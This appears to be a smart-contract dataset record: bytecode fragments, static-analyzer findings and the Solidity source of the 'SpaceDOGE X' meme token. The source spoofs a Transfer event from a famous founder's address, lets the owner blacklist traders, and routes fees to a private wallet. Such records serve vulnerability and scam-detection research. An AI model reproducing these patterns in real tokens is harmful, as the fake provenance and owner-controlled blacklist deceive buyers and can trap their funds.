fffff168273ffffffffffffffffffffffffffffffffffffffff161415151561084157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561090557600080fd5b505af1158015610919573d6000803e3d6000fd5b505050506040513d602081101561092f57600080fd5b8101908080519060200190929190505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a057600080fd5b600560009054906101000a900460ff1615156109bb57600080fd5b600560019054906101000a900460ff161515156109d757600080fd5b610a02600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ef5565b610b676000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610ae457600080fd5b505af1158015610af8573d6000803e3d6000fd5b505050506040513d6020811015610b0e57600080fd5b8101908080519060200190929190505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fa69092919063ffffffff16565b6001600560016101000a81548160ff0219169083151502179055507f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2078f27d0b0960efee660405160405180910390a1565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1257600080fd5b6002544210151515610c2357600080fd5b610c2c81610ef5565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8b57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515610cb157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d8c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808284019050838110151515610e8457fe5b8091505092915050565b6000828211151515610e9c57fe5b818303905092915050565b60008082840290506000841480610ec85750828482811515610ec557fe5b04145b1515610ed057fe5b8091505092915050565b6000808284811515610ee857fe5b0490508091505092915050565b6000610eff61067b565b9050610f1681600654610e7090919063ffffffff16565b600681905550610f698282600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fa69092919063ffffffff16565b7ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5656006546040518082815260200191505060405180910390a15050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d602081101561107357600080fd5b8101908080519060200190929190505050151561108c57fe5b5050505600a165627a7a72305820d847681b2ef70e97e942d49b3ed4f4d66da1a7ea3cb0f2229eb0c82952f2677b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,076 |
0x1bd32d05247071a08a1817575aa248aef8484501
|
/**
*Submitted for verification at Etherscan.io on 2021-11-07
*/
/*
_____ ____ ____ _____________ __
/ ___/____ ____ _________ / __ \/ __ \/ ____/ ____/ |/ /
\__ \/ __ \/ __ `/ ___/ _ \/ / / / / / / / __/ __/ | /
___/ / /_/ / /_/ / /__/ __/ /_/ / /_/ / /_/ / /___ / |
/____/ .___/\__,_/\___/\___/_____/\____/\____/_____//_/|_|
/_/
t.me/SpaceDOGEXToken
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SpaceDOGEX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "SpaceDOGE X";
string private constant _symbol = "SDOGEX";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x66cC53bD490627d0c6A1d130E3425edDd7E042FF);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
// vitalik?? kek
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to], "Bot");
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061267e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612216565b6103f6565b6040516101629190612663565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612800565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121c7565b610425565b6040516101ca9190612663565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190612139565b6104fe565b005b34801561020857600080fd5b506102116105ee565b60405161021e9190612875565b60405180910390f35b34801561023357600080fd5b5061023c6105f7565b005b34801561024a57600080fd5b5061026560048036038101906102609190612139565b610669565b6040516102729190612800565b60405180910390f35b34801561028757600080fd5b506102906106ba565b005b34801561029e57600080fd5b506102a761080d565b6040516102b49190612595565b60405180910390f35b3480156102c957600080fd5b506102d2610836565b6040516102df919061267e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612216565b610873565b60405161031c9190612663565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612252565b610891565b005b34801561035a57600080fd5b506103636109e1565b005b34801561037157600080fd5b5061037a610a5b565b005b34801561038857600080fd5b506103a3600480360381019061039e919061218b565b610f8d565b6040516103b09190612800565b60405180910390f35b60606040518060400160405280600b81526020017f5370616365444f47452058000000000000000000000000000000000000000000815250905090565b600061040a610403611014565b848461101c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104328484846111e7565b6104f38461043e611014565b6104ee85604051806060016040528060288152602001612f1060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a4611014565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154c9092919063ffffffff16565b61101c565b600190509392505050565b610506611014565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90612740565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610638611014565b73ffffffffffffffffffffffffffffffffffffffff161461065857600080fd5b6000479050610666816115b0565b50565b60006106b3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161c565b9050919050565b6106c2611014565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074690612740565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f53444f4745580000000000000000000000000000000000000000000000000000815250905090565b6000610887610880611014565b84846111e7565b6001905092915050565b610899611014565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612740565b60405180910390fd5b60005b81518110156109dd57600160066000848481518110610971577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109d590612b16565b915050610929565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a22611014565b73ffffffffffffffffffffffffffffffffffffffff1614610a4257600080fd5b6000610a4d30610669565b9050610a588161168a565b50565b610a63611014565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790612740565b60405180910390fd5b600d60149054906101000a900460ff1615610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b37906127c0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bd030600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061101c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1657600080fd5b505afa158015610c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4e9190612162565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cb057600080fd5b505afa158015610cc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce89190612162565b6040518363ffffffff1660e01b8152600401610d059291906125b0565b602060405180830381600087803b158015610d1f57600080fd5b505af1158015610d33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d579190612162565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610de030610669565b600080610deb61080d565b426040518863ffffffff1660e01b8152600401610e0d96959493929190612602565b6060604051808303818588803b158015610e2657600080fd5b505af1158015610e3a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e5f91906122bc565b5050506001600d60166101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f379291906125d9565b602060405180830381600087803b158015610f5157600080fd5b505af1158015610f65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f899190612293565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561108c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611083906127a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f3906126e0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111da9190612800565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612780565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be906126a0565b60405180910390fd5b6000811161130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190612760565b60405180910390fd5b60026009819055506009600a8190555061132261080d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611390575061136061080d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561153c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114395750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146f906127e0565b60405180910390fd5b600d60159054906101000a900460ff161580156114e35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114fb5750600d60169054906101000a900460ff165b1561153b57600061150b30610669565b905060008111156115205761151f8161168a565b5b6000479050600081111561153857611537476115b0565b5b50505b5b611547838383611984565b505050565b6000838311158290611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b919061267e565b60405180910390fd5b50600083856115a39190612a17565b9050809150509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611618573d6000803e3d6000fd5b5050565b6000600754821115611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a906126c0565b60405180910390fd5b600061166d611994565b905061168281846119bf90919063ffffffff16565b915050919050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117165781602001602082028036833780820191505090505b5090503081600081518110611754577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117f657600080fd5b505afa15801561180a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182e9190612162565b81600181518110611868577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118cf30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461101c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161193395949392919061281b565b600060405180830381600087803b15801561194d57600080fd5b505af1158015611961573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b61198f838383611a09565b505050565b60008060006119a1611bd4565b915091506119b881836119bf90919063ffffffff16565b9250505090565b6000611a0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c36565b905092915050565b600080600080600080611a1b87611c99565b955095509550955095509550611a7986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b0e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5a81611da9565b611b648483611e66565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611bc19190612800565b60405180910390a3505050505050505050565b600080600060075490506000683635c9adc5dea000009050611c0a683635c9adc5dea000006007546119bf90919063ffffffff16565b821015611c2957600754683635c9adc5dea00000935093505050611c32565b81819350935050505b9091565b60008083118290611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c74919061267e565b60405180910390fd5b5060008385611c8c919061298c565b9050809150509392505050565b6000806000806000806000806000611cb68a600954600a54611ea0565b9250925092506000611cc6611994565b90506000806000611cd98e878787611f36565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611d4383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154c565b905092915050565b6000808284611d5a9190612936565b905083811015611d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9690612700565b60405180910390fd5b8091505092915050565b6000611db3611994565b90506000611dca8284611fbf90919063ffffffff16565b9050611e1e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e7b82600754611d0190919063ffffffff16565b600781905550611e9681600854611d4b90919063ffffffff16565b6008819055505050565b600080600080611ecc6064611ebe888a611fbf90919063ffffffff16565b6119bf90919063ffffffff16565b90506000611ef66064611ee8888b611fbf90919063ffffffff16565b6119bf90919063ffffffff16565b90506000611f1f82611f11858c611d0190919063ffffffff16565b611d0190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f4f8589611fbf90919063ffffffff16565b90506000611f668689611fbf90919063ffffffff16565b90506000611f7d8789611fbf90919063ffffffff16565b90506000611fa682611f988587611d0190919063ffffffff16565b611d0190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611fd25760009050612034565b60008284611fe091906129bd565b9050828482611fef919061298c565b1461202f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202690612720565b60405180910390fd5b809150505b92915050565b600061204d612048846128b5565b612890565b9050808382526020820190508285602086028201111561206c57600080fd5b60005b8581101561209c578161208288826120a6565b84526020840193506020830192505060018101905061206f565b5050509392505050565b6000813590506120b581612eca565b92915050565b6000815190506120ca81612eca565b92915050565b600082601f8301126120e157600080fd5b81356120f184826020860161203a565b91505092915050565b60008151905061210981612ee1565b92915050565b60008135905061211e81612ef8565b92915050565b60008151905061213381612ef8565b92915050565b60006020828403121561214b57600080fd5b6000612159848285016120a6565b91505092915050565b60006020828403121561217457600080fd5b6000612182848285016120bb565b91505092915050565b6000806040838503121561219e57600080fd5b60006121ac858286016120a6565b92505060206121bd858286016120a6565b9150509250929050565b6000806000606084860312156121dc57600080fd5b60006121ea868287016120a6565b93505060206121fb868287